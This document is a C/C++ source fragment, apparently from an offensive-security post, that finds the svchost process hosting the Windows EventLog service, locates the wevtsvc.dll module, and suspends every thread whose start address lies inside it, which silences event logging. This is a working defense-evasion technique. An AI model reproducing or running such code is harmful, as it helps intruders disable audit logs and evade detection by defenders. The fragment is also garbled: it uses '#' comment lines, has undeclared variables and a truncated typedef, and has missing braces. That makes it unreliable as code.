#pragma comment(lib, "DbgHelp")
using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
HANDLE serviceProcessHandle;
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
WCHAR remoteModuleName[128] = {};
HMODULE serviceModule = NULL;
MODULEINFO serviceModuleInfo = {};
DWORD_PTR threadStartAddress = 0;
myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
SERVICE_STATUS_PROCESS serviceStatusProcess = {};
# Get PID of svchost.exe that hosts EventLog service
QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
DWORD servicePID = serviceStatusProcess.dwProcessId;
# Open handle to the svchost.exe
serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
# Get a list of modules loaded by svchost.exe
EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
serviceModule = modules[i];
# Get loaded module's name
GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));
if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
Thread32First(snapshotHandle, &threadEntry);
while (Thread32Next(snapshotHandle, &threadEntry))
if (threadEntry.th32OwnerProcessID == servicePID)
threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
# Check if thread's start address is inside wevtsvc.dll memory range
if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);
# Suspend EventLog service thread
SuspendThread(threadHandle);